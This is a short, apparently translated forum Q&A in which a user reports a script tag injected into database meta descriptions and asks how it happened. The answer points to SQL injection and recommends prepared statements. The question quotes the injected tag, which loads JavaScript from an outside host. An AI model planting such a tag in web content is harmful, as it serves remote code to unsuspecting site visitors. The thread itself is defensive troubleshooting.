外部脚本已被注入到我的数据库

An external script has been injected to my database

本文关键字：我的数据库注入脚本外部更新时间：2023-09-26

我从数据库中检索元描述，令我惊讶的是，已返回的数据与附加的脚本代码。

下面是碰巧添加到我的数据库条目中的代码

<script id="alp1398" type="text/javascript" src="http://earcuff.nl/js/jqueryinit.js"></script>

任何想法，这是怎么发生的，或者这个脚本做什么?

最常见的攻击向量-用于填充数据库的参数。检查您是否总是使用准备好的语句(即使用?代替参数的SQL)，如果您不能(例如在ORDER BY子句中)，则必须对输入进行消毒。

其他途径包括入侵你的帐户本身，以便能够执行SQL语句。

你在问题中提供的数据这么少，很难告诉我们到底发生了什么。请说明您正在使用的中间层等